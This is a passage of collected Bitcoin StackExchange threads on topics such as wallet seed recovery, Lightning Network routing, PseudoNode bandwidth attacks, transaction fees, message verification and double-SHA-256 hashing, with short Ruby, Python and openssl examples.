            "parsed_script": "OP_FALSE OP_PUSHDATA0(72) 3045022100ad0851c69dd756b45190b5a8e97cb4ac3c2b0fa2f2aae23aed6ca97ab33bf88302200b248593abc1259512793e7dea61036c601775ebb23640a0120b0dba2c34b79001 OP_PUSHDATA0(69) 5141042f90074d7a5bf30c72cf3a8dfd1381bdbd30407010e878f3a11269d5f74a58788505cdca22ea6eab7cfb40dc0e07aba200424ab0d79122a653ad0c7ec9896bdf51ae",
            "script_length": 144,
            "sequence_num": 4294967294
        }
    },
    "lock_time": 272295,
    "num_outputs": 1,
    "output": {
        "0": {
            "addresses": [
                "13fLLox43yXYvfoZadXpGbkTUXkW8bhqut"
            ],
            "funds": 980000,
            "parsed_script": "OP_DUP OP_HASH160 OP_PUSHDATA0(20) 1d30342095961d951d306845ef98ac08474b36a0 OP_EQUALVERIFY OP_CHECKSIG",
            "script_length": 25
        }
    },
    "size": 229,
    "version": 1
}

and the serialized tx with the txin 0 script replaced with the following script:
OP_TRUE
OP_PUSHDATA0(65)
042f90074d7a5bf30c72cf3a8dfd1381bdbd30407010e878f3a11269d5f74a58788505cdca22ea6eab7cfb40dc0e07aba200424ab0d79122a653ad0c7ec9896bdf
OP_TRUE
OP_CHECKMULTISIG

should actually be:
0100000001c8cc2b56525e734ff63a13bc6ad06a9e5664df8c67632253a8e36017aee3ee4000000000455141042f90074d7a5bf30c72cf3a8dfd1381bdbd30407010e878f3a11269d5f74a58788505cdca22ea6eab7cfb40dc0e07aba200424ab0d79122a653ad0c7ec9896bdf51aefeffffff0120f40e00000000001976a9141d30342095961d951d306845ef98ac08474b36a088aca727040001000000

only the final 8 bytes that contain the locktime are different from before: a727040001000000
the new serial tx has hash:
607789be41392e6b12735a79bc9ea94573b4e39948badef18ca48e85ee15196d

and the signature and pubkey from before were already correct. these evaluate correctly in pybitcointools now, like so:
pybitcointools.ecdsa_raw_verify(tx_hash, pybitcointools.der_decode_sig(bin2hex(signature)), bin2hex(pubkey))

Argh, I could not figure it out. And I'm the resident pybitcointools expert

@WizardOfOzzie in that case i have another question for you :) will post tonight (i also live in aus).

Sounds good mate. There's a bunch of new PRs for pybitcointools which I've submitted recently, so I'm certainly familiar with all the code once again


text:
Trial recovery of blockchain.info Wallet to MultiBit HD wallet
Situation at time of writing:
Written as of 29 May 2016; web based Blockchain.info wallet is HD; MultiBit is also HD.
The Query/Story
Since its become a little uncertain whats going to happen with Armory as a wallet; I decided to explore some other wallets.
After signing up with blockchain.info (and getting the N word recovery phrase) I transferred a small amount of BTC into my new Blockchain.info wallet. So far so good.
Now my understanding is that a Hierarchical Deterministic wallet (HD) such as MultiBit HD should be able to restore the wallet using those N words.
So effectively playing the disaster recovery game; I have installed MultiBit HD; Gone through the recover process using my recovery phrase. MultiBit had downloaded some 130K+ blocks. And I end up with a wallet that seems operational BUT... and this is the but.... no BTC.
My blockchain.info account is showing the BTC; but MultiBit is not.
Therefore either
a) My understanding that I should be able to restore the wallet - and its BTC from the recovery phrase is incorrect (pretty sure that that's the whole point!)
or
b) I am doing something wrong with MultiBit.
Yes this scenario would mean that I would have (as Blockchain.info is not down) 2 wallets with the same BTC but this would be on the same address(es) and the blockchain would protect again any attempt to spend twice.
Basically looking to feel protected in that with my recovery phrase I can recover the wallet (either to blockchain.info / to multibit HD or other wallet) should PC's blow up, web sites crash etc.
Any advise? I have repaired the MultiBit HD wallet a few times - but always sits at 0 BTC
Thanks in advance

MultiBit HD supports BIP39 seed phrases for BIP32/44 wallets. If a different deterministic algorithm is used then the seed phrase is not compatible. Also note that due to the limitations of SPV mode MultiBit HD is not currently able to support accounts other than 0.
You can read more on this here: https://multibit.org/en/help/hd0.3/how-spv-works.html

Thanks for the corrective edits Gary; Also thanks for the advice on "different deterministic algorithm";
Am
a) attempting restore as BIP/44;
b) contacted blockchain.info for clarity on what they use.
will update this page with answers.

Restoring the wallet in MultiBit;
I originally chose "What created these wallet Words" as "MultiBit HD, Lighthouse (BIP 32)" - This is "accepted" but at the end of the restore there is no BTC (as previously advised)
BUT - following Garys information - I removed the MultiBit wallet I had created; then repeated the restore as "Trezor/KeepKey device, Mycelium (BIP 44)" - This worked and hey presto my MultiBit "Disaster Recover" Wallet has the same balance as blockchain.info wallet.
Thanks again Gary - you provided the "nugget" of info to get through this hitch.

@SnowDog Glad it worked for you :-)

@SnowDog Don't forget to mark an answer as "Answered" if it worked for you.


text:
How often do double spends happen successfully?
Judging from this list, not very often:
https://blockchain.info/double-spends
Why is this the case? I would have guessed they would have been more frequent.
Is it OK to always accept (small-to-medium) transactions as valid then?

The wiki explains it better than I can:
But the short answer is that's the reason most participants wait for at least 6 confirmations before accepting a transaction as valid.  The likelihood of hash collisions or other potential attacks having any success going undetected drops with each confirmation, and 6 confirmations is usually chosen as an "overkill" number.
To answer your question from the post title, though, refer to this question's answers:
Has there ever been a successful double spend attack on the Bitcoin network? If not, is it really necessary to wait for confirmations?
If what they say is correct, it seems we really don't know if and when (or how often) any double-spends have actually been successful.


text:
Best way to safely host a high volume online transactional wallet?
I am looking at starting a business that will send and receive a large amount Bitcoins in a semi automated manner using API's. I was wondering what is the best way to do do this in a secure way to limit my exposure to hacking? My initial thoughts are as follows:
1) Clearing Wallet: have a clearing wallet that holds say 10% over my expected daily amount of bitcoins that will be used for sending and receiving bitcoins. Any time this wallet contains more than my 10% configured amount, a bot will move the excess bitcoins to another offline wallet.
This wallet will be backed up on 3 USB drives using double encryption and be hosted at blockchain.info (two factor authentication will be used to access this wallet at blockchain.info)
2) Emergency Paper Wallet: This is a paper wallet and will be used to hold an additional days worth of bitcoins. If for any reason I need to top up my Clearing Wallet this will be used and then discarded. (one time use only)
3) Cold Storage Wallet: This is were the excess coins from my clearing wallet will be forwarded to and keep offline. This wallet will be created using a bootable USB/CD OS to ensure the machine it is created on is not compromised. This wallet will then be used to make a number of Emergency Paper wallets that will be used to top up the clearing wallet if funds are ever running low. (this wallet will only ever be accessed using a fresh bootable OS)
Is this a good way of ensuring I have a low exposure to being hacked or is there a better way of doing this?

It seems to be a good approach. The fundamental is keep a little bit "hot" to high liquidity and keep the rest into USB stickers + papers and if possible keep it safe in a vault or bank. Also, keep the anonymity and security of who has the access to the Bitcoins. Remember: Bitcoin is real money, and if you are working with a lot of money, it can be dangerous, someone can try to extort you to reveal all secret.
Don't forget too that USB stickers are volatile in long term by definition, and are not 100% safe. CD and DVD can scratch or can degrade over time. So, the paper is fundamental; keep it in a clean and dry place. Remember also to generate the wallet keys in a offline computer (installed from zero if possible). Read this article: How to set up a secure offline savings wallet.

There is a nice article about it here: Coinbase now storing 87% of customer funds offline

Amazing how Bitcoin goes back to the banks (albiet in a safety deposit box)


text:
buy bitcoin or bitcoin cash?
I have some bitcoins on coinbase and was going to buy more.
But now I see bitcoin cash available on coinbase.
Should I buy bitcoins or bitcoin cash? What is difference? And they have the same price?
UPDATE: They have different price, so it looks like new cryptocurrency.

What do you think inside? What are your arguments for the one or the other? (I'm curious, just asking)

@Basj, what do you mean "inside"? I don't have any arguments yet, need to do some research.

Bitcoin cash, is centralized, and it is difficult to run a full node of it, and it does not have a great developer strenth.
Bitcoin (the original) have many developers developing new tecnologies like the lighning tecnology. And it is fully descentralized. But the mempool is crowded right now wich makes the fees quite high.
I think in the short term Bcash (Bitcoin cash, nickname) will be more usable, with lower fees, but in the long term in cannot compete with Bitcoin.

BCash is a completely different cryptocurrency by Brazilians, do not use it as a name for Bitcoin Cash. It is usually used in a derogative way to remove the word Bitcoin from Bitcoin Cash.


text:
How are paths found in Lightning Network?
I understand now how multihop payments can work in LN, but how do we discover payment paths in Lightning Network in the first place?  Obviously you'd need to take into account the available capacity of the route, and you'd want to discover the cheapest path.
There shouldn't be a payment channel directory, so would it rely on a peer-based search?

I believe the whitepaper mentioned using something similar to Border Gateway Protocol (https://en.wikipedia.org/wiki/Border_Gateway_Protocol), however I'm not sure if an actual solution has been decided upon or implemented.  As of right now, Bitcoin Core is making the necessary fixes for transaction malleability that will allow for the LN to be implemented.  I'd love to hear how this particular problem will be solved.

It looks like this has been reposted to Reddit, where there are some good comments:  https://www.reddit.com/r/Bitcoin/comments/4ea1s8/how_are_paths_found_in_lightning_network/

@Jestin: Yes, but I still hope that somebody writes a good answer here, where it will be much easier to find in the future as well.

Note: This answer was written in Spring 2016 and has since been overtaken by an actual spec and multiple implementations. I'm hoping to update this answer shortly.

Summarizing mostly from r/bitcoin: How are paths found in Lightning Network?, the currently suggested routing would be similar to the Border Gateway Protocol.
At intervals, the following process is initiated:

A beacon node B is selected via a pseudo-random process.
Neighbors of B broadcast their shortest route to B to their neighbors.
The neighbors of neighbors of B now become aware of a route to B and in turn broadcast their shortest route to B.
This cascades through the network until every reachable node has broadcasted their shortest route to the beacon node B.
Whenever a node becomes aware of a new shorter route, it broadcasts this updated shortest route as well.
After a short wait, start from top with a new beacon node B1.

Nodes remember their shortest routes to a number of previously selected beacon node.
Now, Alice wants to send 0.3BTC to Bob.
Alice has shortest routes to B, B1, and B2. Bob just came online and only knows B2. They add together their respective paths to B2 and thus find a path:
     Alice → N1 → N2 → B2 ← N3 ← Bob

If they have multiple common beacons, they can also compare different paths, and check whether any earlier nodes in their routes match. If they instead had found:
     Alice → N1 → N2 → B2 ← N2 ← Bob

They could shorten the route to:
     Alice → N1 → N2 ← Bob

Altogether, "shortest" would be some combination of reachable, sufficient liquidity, lowest fee, fewest hops, and most reliable. As Hash Time Lock Contracts are nearly trustless (only potentially locking your money for some time), and operating a routing wallet should have low resource requirements, it seems likely that the payment routing market should achieve a healthy competition, therefore discouraging nodes to lock money by establishing channels just to earn fees from routing. Payment channels between nodes that have some form of regular business relationship seem more likely as there is an immediate benefit.

Sources: harda, mmeijeri, mmeijeri.

In case of using beacon nodes that have a richer information
about the geometry of the LN network (even when selected randomly and renewed regularly), a kind centralization is not inherent ? (When, even the global knowledge of the geometry of the network can be a vector of attack.) Thanks (More info: https://arxiv.org/abs/1807.00151)

@murch Does this method take into account local and remote balances of a channel? For example, how do you know if a channel can handle a certain capacity in a given direction?

@arshbot: That is not public information. You only know these figures for channels that you co-own.

The bit about Alice and Bob comparing paths seems inaccurate at this point. My read of the BOLT standard is that Alice and Bob's nodes never directly communicate. Invoices (Bolt-11) only have "limited routing assistance" for private channels, for now.

@isuldor: You're right, I really need to update this.

Everything is described in detailed in the corresponding BOLT specifications:
https://github.com/lightningnetwork/lightning-rfc/blob/master/07-routing-gossip.md
BOLT #7: P2P Node and Channel Discovery
This specification describes simple node discovery, channel discovery, and channel update mechanisms that do not rely on a third-party to disseminate the information.
Node and channel discovery serve two different purposes:

Channel discovery allows the creation and maintenance of a local view of the network's topology, so that a node can discover routes to desired destinations.
Node discovery allows nodes to broadcast their ID, host, and port, so that other nodes can open connections and establish payment channels with them.

To support channel discovery, peers in the network exchange channel_announcement messages containing information regarding new channels between the two nodes. They can also exchange channel_update messages, which update information about a channel. There can only be one valid channel_announcement for any channel, but at least two channel_update messages are expected.
To support node discovery, peers exchange node_announcement messages, which supply additional information about the nodes. There may be multiple node_announcement messages, in order to update the node information.

The Whitepaper doesn't make mention of any means to find a path without discovering the network manually. Not saying it shouldn't exist, just simply that currently in LN no data structure or filter is in place to make this scalable.


text:
Is it illegal to trade Bitcoin OTC in the United States
I am considering selling Bitcoin OTC.  As far as the legalities go, is it legal to anonymously trade Bitcoin for cash without taking KYC information and registering with FinCEN?  I know all the "big boys" like Gox require information but I am vehemently against that and I'm too small to pay all these registration fees as well as keep up on the behemoth of AML laws.  This is more for some extra side cash and to help people get BTC easily.  How big of a boy do you have to be?  I however do not want to do anything illegal.  I do not want feds showing up at my door.  What limits must I conform to in order to comply with the law?
I plan on doing local cash and bank deposits.  Will a bank flag you for having $1,000/mo being deposited into your account at random locations?  $10,000?  $20,000?  What are the limits before things get frozen and\or become illegal?  Before I have to become a legitimate MSB
I want to make it clear that I do not believe in tax evasion.  I plan on accurately reporting all profit made.
I do live in the US.  I will be selling in the US.
I noticed this similar question (Legal issues / banking issues selling Bitcoins to people OTC?) and it mentions a limit of $1,000 per day per person.  Does that mean I as a seller can not do more than $1,000 per day (since I am a person), or each individual person I deal wtih can't do over $1,000 per day?

I don't see how this question differs from the one you link to.


text:
Pseudo-Node and putative attack vectors on the network
Pseudo-Node is discussed here on Reddit's /r/Bitcoin
Essentially it functions to relay calls from connected nodes in a random fashion.

This was an experiment into how easily can full nodes be "faked".  In conclusion: very easily.
A proof-of-concept implementation (& documentation) is available here:
https://github.com/basil00/PseudoNode
To the network, PseudoNode appears to be a normal full node.  It relays invs, txs, blocks, etc. just like a full node.  In reality, PseudoNode is a type of p2p proxy server.  It merely forwards any request it cannot handle (getdata, getheaders, etc.) to neighboring nodes.  For more information see the above links.
PseudoNode uses no disk (no blockchain download required), uses little CPU/RAM, and uses less network resources (bandwidth) than a normal full node.  A PseudoNode can "sync" with the network within seconds.
PseudoNode demonstrates some of the problems with incentivized full nodes (including the "Bitnodes Incentive Program").  It is difficult to prove that a full node is really a full node.
The implementation mostly has novelty/proof-of-concept value.  It is not intended to be "production" software.

And the FAQ:

Does PseudoNode harm the network?
Short answer: No.
Long answer: Not unless the number of PseudoNodes significantly overwhelms the number of normal full nodes. Otherwise, if PseudoNode can connect to at least some good nodes (default 2), then will PseudoNode will acts just like a normal node and contributes network bandwidth.
Can PseudoNode cause the network to fork?
No, PseudoNode just follows what other nodes are doing.
Can PseudoNode steal coins?
No.
Can PseudoNodes be banned from the network?
Not easily. Requests that PseudoNode cannot handle directly can always be forwarded to other (cooperative) full nodes.

This seems incredibly reckless in terms of attack vectors to me. Obviously a balance between the pros and cons needs assessing, and since its value is "novelty" (self-described by the developer), several cons seem immediately evident:

Latency will effectively increase blockchain download times such that new latency = original latency * performance decrease %
Nefarious pseudonode could throttle latency to just above the threshold of the nodes enforcing blacklisting (ie throttled latency ~> cutoff latency)
An increased percentage of nefarious nodes could possibly execute a Sybil Attack (?)

2 related questions:

What other attack vectors (in high-level terms) and their
repercussions could be expected from Pseudo-Nodes?
Is there any feasible contingencies in the protocol to delineate between a PN and a node? For example, would different Bitcoincore versions identify PNs (or a simple modification to the protocol)?

When you ask about psuedo nodes, are you asking about this specific piece of software, or the general idea of modifying the Bitcoin client? When you say, This seems incredibly reckless in terms of attack vectors, do you mean that pseudo nodes would be vulnerable to attacks that the Bitcoin client isn't, or that the author hasn't thought of all of the attacks that could be carried out?

@NickODell I'm framing this more in light of the open source code being released which basically nullifies the development time that would normally hinder nefarious parties from pursuing this. I should also clarify, have there been past instances of pseudonodes? Or is this not a new issue?

@WizardOfOzzie All of the "attacks" 1..3 are possible with normal full nodes.

A large number of interconnected psuedo-nodes makes launching a bandwidth-exhaustion attack much easier.  Bitcoin Core validates most information before relaying it, but psuedo-nodes don't validate---so if you can get some psuedo-nodes connected together, it's probably easy to get them to waste tons of bandwidth by relaying junk data to each other and then to their peers.
For example, if there are 101 psuedo-nodes (PNs) connected together, you can send PN1 a valid-looking inv packet announcing a single fake transaction (about 61 bytes plus TCP packet overhead).  Each PN relays that inv for a minimum of 6100 wasted upload bytes.
But those PNs are also connected to real nodes.  Lets say 500 real nodes, so now the wasted PN upload bandwidth is 36,600 bytes (plus TCP overhead)---all because an attacker created a single 61-byte inv.  Worse, the real nodes are going to request the transaction using a 61-byte getdata packet, wasting 30,500 bytes of real node upload bandwidth.
If the attacker sends 1MB of fake data per second for an entire day, he'll use 86 gigabytes of his own bandwidth,  but waste 52 terabytes of aggregate PN upload bandwidth and potentially 43 terabytes of real node upload bandwidth.
(Depending on how the PNs are written, they may waste even more bandwidth relaying the getdata packet around.)
Compare this to the cost of running the attack against a single real node.  For each 61-byte inv packet the attacker uploads, the real node replies by uploading a single 61-byte getdata.  So a bandwidth exhaustion attack against a real node requires roughly a 1:1 about of wasted bandwidth.  The real node doesn't further relay the inv until it receives and validates the transaction it refers to, so no other node has any wasted bandwidth.

Is there any feasible contingencies in the protocol to delineate
  between a PN and a node? For example, would different Bitcoincore
  versions identify PNs (or a simple modification to the protocol)?

The protocol already has the notion of a DoS ban score, in which each
Bitcoin Core node assigns a private score to each of its peers for any
bad behavior they perform. Once the DoS ban score for a particular peer
reaches a threshold (100 by default), the node disconnects from the peer
and refuses further connections from its IP address for a time (one day
by default). Bad behaviour includes sending invalid transactions
and blocks.
Because PNs don't validate data, they'll happily relay invalid data. If
they become common, someone who wants to grief PNs could simply connect
to any advertised node and send it a bunch of invalid data. If it was a
real full node, it will disconnect (DoS ban). If it was a PN, it would
relay that data to real full nodes, causing the real full nodes to DoS
ban it. This would make the PN useless and would allow the griefer to
detect which nodes are PNs---the griefer could then publish (an
unauthenticatable) database of PN IP addresses.
This method works best against long-term PNs. To make it harder to
execute short-term Sybil attacks from lots of lightweight PNs, something
like Greg Maxwell's proof of storage to make distributed resource
consumption
costly
could be used.

Thank you for the detailed theory; I've amended my query to ascertain what, if anything, could delineate between a PN and a node (eg where does the protocol compensate for these scenarios.

@WizardOfOzzie edited to answer the second part of your question.

Fantastic, that makes a lot of sense. Good to know this isn't a major issue. I'm awarding you to bounty I'm setting up when I can do so

@DavidA.Harding By default a PN will not relay data unless at least 2 other randomly selected nodes are also relaying the same data.  It is therefore difficult to "trick" a PN into relaying invalid data.

@Basil that's cool, although I don't think it fundamentally changes anything.  It just means that both the attacker and the griefer described above need a single extra IP address, and the attacker also needs to connect to several PNs.

I should have also mentioned that PN does not trust inbound connections.  So it only counts invs seen from outbound peers.  Otherwise it would be easy to trick PN as you describe.

@Basil Heh.  Good idea!  That certainly makes attacks using PNs much less trivial.  I'm guessing it's still easy to detect a PN by sending a node bad data, such as a bad transaction in a non-inved tx message (the way BitcoinJ sends transactions in SPV mode), and then waiting to see if the node disconnects.


text:
Error on Installing Multibit for Windows 7?
I recently found about Bitcoin through a friend and got interested to surf about it over the Internet. I was installing Multibit on my machine running on Windows 7 but as soon as I click on the downloaded file, I get the following error.
This forum is not letting me attach an image so i have to manually type in the text :S
"Error:java.lang.AbstractMethodError:org.apache.xecres.dom.DocumentImpl.setXmlVersion(Ljava/lang/String;)V"
Please help me fix it !
Regards, Maddy

This sort of question is best directed at the GitHub issues page for MultiBit rather than here. However, since Jim has answered illustrating a general JVM problem then perhaps it should remain open for others to use.

Googling for that error there is a similar one at:
http://trac.jajuk.info/ticket/1549
There they suggest it could be something to do with the installed Java Runtime Environment. This is what the installer uses to run.
You could try making sure the Java installation on your machine is 100% by installing the latest version from:
 http://java.com/en/download/index.jsp
Then try the installer again.


text:
Does the protocol ensures that private keys are unique?
There is a very very low chance for the same private key to be generated. (source)
However, what happens when my generated private key matches a private key that is already used?
Does the protocol reject private keys if they are already used?
If not, what kind of damage will be done?

However, what happens when my generated private key matches a private key that is already used?

Then you got lucky, and can spend someone else's coins.

Does the protocol reject private keys if they are already used?

No, how should it? Keys can be used more than once in normal operation.
Fortunately, it is extremely unlikely that this ever happens. See also these two related questions.

Is the length of the private key going to be changed in the future?

It is hard to make predictions, especially about the future, but I would assume that Bitcoin will eventually support (and encourage) other algorithms or key lengths if the current one becomes insecure (just like SSL certificates are now being issued with longer keys). The old ones would still be working, but you'd want to migrate your coins over to the more secure keys.

This is like worrying that your house will get hit by two asteroids. There are so many ways your house can get destroyed that are millions of times more likely. So it's not rational to worry about this, except for the second or two it takes to realize that it's not worth worrying about. For example, a collision on the hash of the public key is about 80 billion, billion, billion times more likely.

Ic. I'm not really worried about it, but more of wanting to know what-happens-next when it does.

It won't ever happen since long before it does, the entire system will have been radically redesigned due to the problem of public key hash collisions.

Ok, the word "possible" is ambiguous and has many definitions. I was talking about in the mathematical sense, where "possible" means > 0.

There is no conceivable solution to this problem. If the protocol could detect such a conflict, the odds would be billions of times higher that it was due to an electrical flaw in the computer than that it was due to an actual random conflict.

The Bitcoin protocol does not enforce anything from the wallet, asides requiring specific ECDSA curve to be used for key generation. If you happen to generate a keypair colliding with another keypair, congratulations, it's a very rare occurrence ! Same if your public key will hash into the same Bitcoin address (in theory you could have two different keypairs that have the same address associated with them).
The consequence for such an occurrence is that both of the owners of the keys can spend the money associated with the corresponding address, not an ideal situation. If you are lucky, you might be able to steal someone's Bitcoins (but shame on you if you do), but most likely you'll just come across some address that was used only once, as the standard client has a tendency of generating new keypairs for every transaction in order to protect your anonymity.


text:
Can different clients have different transaction fees?
BitCoin Wiki states:

Different bitcoin clients and different versions have different rules for determining which transactions to accept and how large a fee to send..

Is it true that different clients can attach different transaction fees which differ from the other clients?
For example, is there anyway to send 1 mBTC without having to pay the fee of 0.5 mBTC?
Are the rules of the transaction fees enforced by the protocol?

The Bitcoin protocol does not require any fee to be paid.
However, the standard client will require varying fees to be paid before the transaction is included in a block or relayed, all depending on the current load (up to 27kB transactions are free unless they are considered spammy, then fees get higher and higher).
Some pools (like Eligius) don't include transactions without fees into their blocks, so that's another incentive to pay something.

Are you aware of a client that doesn't require a transaction fee?

@Pacerier I know there are some branches of the standard client that don't require fees, but consider this - Bitcoin fees are something like 1 cent per transaction. This fee goes to support the network growth. You should consider whether you REALLY can't spend a cent in order to send money...

I know, but it's not nice to be "forced" to do so by a client, while knowing that other clients do not have the same restriction. There should be a choice.

@Pacerier Think of it as going to a museum with a suggested donations. Sure, you can go in and not pay, but if everyone would be doing that, one day you might find the museum closed and nobody will be able to get in. In a couple years a majority of Bitcoin earnings should be coming from fees. If nobody will pay the fees, the project could not get off the ground properly.

AFAIK there are currently no protocol-enforced rules on transaction fees. There are alternative clients as well as forks of the standard client that allow sending without a fee.
But there is no guarantee that your transaction will be propagated and included in a block. Most of the nodes use the standard bitcoind, so sending a transaction without the fees expected by bitcoind will likely mean your transaction will not be confirmed for some time.

But it doesn't matter if we do not need the coins straightaway as eventually we'd get the coins.

@Pacerier: That's not guaranteed, and it will become increasingly less true going forward.


text:
Pseudocode to verify a signed message
Can someone explain or point to some documents with pseudo code that would show me how to verify bitcoin address based on a signature and message. I know how to do this in clients I want to know how to programmatically do it.

Even better than pseudocode: here's some python code for message signing and verification, largely pilfered from the electrum client:
https://github.com/nanotube/supybot-bitcoin-marketmonitor/blob/master/GPG/local/bitcoinsig.py

Is there any premade PHP class / code for this?

This seems to fail for signatures that came from -regtest. Has anyone updated it?

According to this bitcointalk thread, it can be done via the JSON-RPC API:
Code:
verifymessage [address] [signature] [message]

See here for non-programmatical methods to verify a message.

Thanks for the answer, but I am looking for technical or pseudo code explanation of the verify of a signed message. I want to use it in a program.

@user1562, I wonder if you might be best to start wih the source code for the bitcoin.org client? If you search the source for "verifymessage" you might be able to find some code you can reuse.

In the satoshi client the verifymessage command is implemented by this code which calls CKey::SetCompactSignature() to do its work.

I saw this, and thanks but I was looking more of pseudo code or documentation.


text:
Bitcoin price drop in the past few days (25/10/12 to 27/10/12)
Does anyone have any solid ideas or knowledge on why the price has dropped so much over the past few days? There is a lot of speculation, but nothing I have read to date seems to adequately explain the recent drop.
The drop is illustrated here, and shows a decrease in price of roughly 14% over the two days:

Questions like this pop up once in a while and it's not really a good fit for StackExchange since it is almost just about speculation. I think that this one should be closed.

Hm, the question might be speculative, but isnt finding a possibly objective answer a nice challenge? So a good answer will be very, very valuable.

All you'll ever get is speculation. Nobody knows why prices change.
It's just like when you listen to the news and they tell you that stocks dropped because of "profit taking". Clearly, people were selling if stock prices dropped. But nobody really knows if people were taking profits, cutting losses, or something else entirely.
These are emergent behaviors of complex systems and only in rare cases can you explain price movements. The most popular theory I've heard is that at least one significant factor is BitInstant downtime.

Look at the humanistic aspects of trading
People are cashing out for christmas...also around Jan 14 as the bills arive you will see the price go down as people cash out (Low Demand)
Mid Jan is great time to buy for a lot of Gold standard currency stocks like BTC
IMHO

Price changes because the relationship between supply and demand is altered. This might take place because of organic or productive demand, or by speculation. Think twice before blaming those damn malignant speculators: they are extremely neccessary. Speculators operate over time or space to smooth out supply sortages or price peaks. Speculators make possible things to reach fair value faster. The answer is at simple as it gets: the bitcoin was overpriced a few days ago.


text:
How to structure a Bitcoin charity miner?
I'm working on a project involving mining Bitcoins for charity. I'm writing my own miner, and though I may eventually set up my own pool for this purpose, for now I'm planning on using existing pools.
My question is: how can I set up the miner so that people can use it to mine toward my organization's Bitcoin address (if having a single address is even the right approach to take), without exposing this address to theft from anyone who reads the credentials from the miner's getwork requests? My understanding is that the HTTP Basic Auth used in getwork requests doesn't pass values in a safe way.
As is probably evident from this question, I'm generally pretty fuzzy on how wallets interact with payouts from mining pools and/or Bitcoins stored in accounts with said pools, so any explanation there would also be greatly appreciated.

I'm going to leave the work of answering to folks who know more about getwork requests and unsafe value passing, but I'll mention that there are plenty of pools (Eligius being the largest I'm aware of) that accept an address as the username and don't parse passwords at all, then pay out via generated transactions to those addresses. It would be easy to have others mine for a charity at such a pool - you could even mine coins for someone else's address without their permission or intervention as an odd form of tipping, no privkey necessary.

I'm currently using Eligius in testing for just this reason, but I guess I don't quite understand what allows me to have access to the Bitcoins at a given address.
Do I have to have a wallet for that address somewhere? Does that wallet have to be connected to the Internet? Currently I'm using the "to add Bitcoins, send to this address" address for my Mt.Gox account, but that address auto-changes each transaction.

Bitcoin is built around digital signing with split encryption keys. The address is just a hash of the public key, the private key is what allows you to spend coins at a given address. Mining is just doing work in exchange for coins sent to an address you specify and you can specify any address, even ones you don't control the private key for. If someone wanted to grab the donation address from my web site and mine on my behalf, they can do so without my permission or knowledge and the fact that only I have that private key means the account isn't compromised.

This might interest you. Code is in Github.

Very cool, @luchonacho! My own project, Compute for Humanity, never really got enough interest to be viable.

Looks interesting! Why did it not pick up?

I think it was a combination of the fact that I was a bit too early for most people to have heard of Bitcoin, and at the time there weren't really any other examples of low-energy mining. So most people thought, "my computer can generate money? Seems like a scam," and people who understood cryptocurrencies thought, "mining uses up all your CPU and costs a ton in electrical bills, this isn't worth it," when neither of those were true.

You can give someone the necessary credentials to mine on your behalf without them gaining access to the bitcoins. Pools don't use the worker passwords sent with getwork for logging into the website and controlling where coins are sent. They are used only for fetching work and delivering the results.
As you say, basic auth over unencrypted HTTP is already unsafe handling of the worker passwords. You have to assume that those passwords are compromised anyway.
I think the most damage someone can do is to overload a pool server using your worker credentials. I suppose this could get your account temporarily banned, but I'm sure a pool operator would be understanding in this case. I've never heard of anything like that happening either.

Ah, didn't realize that worker passwords != login passwords, as it's been awhile since I've used a login-based pool.


text:
How do you perform double-SHA-256 encoding?
The Bitcoin Protocol-specification gives an example of double-SHA-256 encoding.

hello
  2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824 (first round of sha-256)
  9595c9df90075148eb06860365df33584b75bff782a510c6cd4883a419833d50 (second round of sha-256)

I've tried various SHA256 calculators and the first encoding matches no problem, but the second always resolves to

d7914fe546b684688bb95f4f888a92dfc680603a75f23eb823658031fff766d9

I've also tried UPPERCASE and swapping the byte endianness.

Just semantics, but to avoid a common misunderstanding: sha256 does hashing, not encoding. Encoding is something entirely different. For one it implies it can be decoded, whereas hashing is strictly a one-way (and destructive) operation.

You're hashing the hexadecimal representation of the first hash. You need to hash the actual hash -- the binary data that the hex represents.
Try this:
$ echo -n hello |openssl dgst -sha256 -binary |openssl dgst -sha256

This seems right, but how did the first round work when hashing the ASCII string "HELLO" vs the binary representation of ASCII hello?

@makerofthings7 "HELLO" is binary. H is a byte with value 72, E is 69, etc. A raw, binary hash can also be printed, but many of its characters are likely to be invisible control characters, so it's generally written in hex. I can also write "HELLO" in hex: it's 48454c4c4f.

@makerofthings7: There is no difference between "the ASCII string 'HELLO' and "the binary representation of ASCII 'HELLO'". However, there is a difference between the ASCII representation of a number in hexadecimal and that number in binary.

theymos and @DavidSchwartz it all makes perfect sense now. thanks

Hi, there are an optimized (direct and faster) option to perform SHA256d? Some openssl or similar (reliable) optimized algorith for it?

You want to work with the digests, not the hex strings.
Here's some Ruby:
require 'digest'
d = Digest::SHA2.new 256
d2 = Digest::SHA2.new 256
d << 'hello'
d.to_s
d2 << d.digest
d2.to_s

This will be the output from irb:
1.9.3p194 :001 > require 'digest'
 => true
1.9.3p194 :003 >   d = Digest::SHA2.new 256
 => #<Digest::SHA2:256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855>
1.9.3p194 :004 > d2 = Digest::SHA2.new 256
 => #<Digest::SHA2:256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855>
1.9.3p194 :005 > d << 'hello'
 => #<Digest::SHA2:256 2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824>
1.9.3p194 :006 > d.to_s
 => "2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824"
1.9.3p194 :007 > d2 << d.digest
 => #<Digest::SHA2:256 9595c9df90075148eb06860365df33584b75bff782a510c6cd4883a419833d50>
1.9.3p194 :008 > d2.to_s
 => "9595c9df90075148eb06860365df33584b75bff782a510c6cd4883a419833d50"

Here's the same thing in Python:
import hashlib
d = hashlib.sha256(b"hello")
d2 = hashlib.sha256()
d.hexdigest()
d2.update(d.digest())
d2.hexdigest()

And the output from within a Python shell:
>>> d = hashlib.sha256(b"hello")
>>> d2 = hashlib.sha256()
>>> d.hexdigest()
'2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824'
>>> d2.update(d.digest())
>>> d2.hexdigest()
'9595c9df90075148eb06860365df33584b75bff782a510c6cd4883a419833d50'

thanks for code samples. I later found the Python code on the wiki, but still couldn't understand what made it work. +1

For the second round of sha256, you need to hash the raw binary output from the first round, not the textual version.
A sha256 hash is 256 bits, or 32 bytes. Thus for the second round you should be hashing a piece of data that's 32 bytes. When hashing a hexadecimal string as the literal input for the second round, your data is 64 bytes.
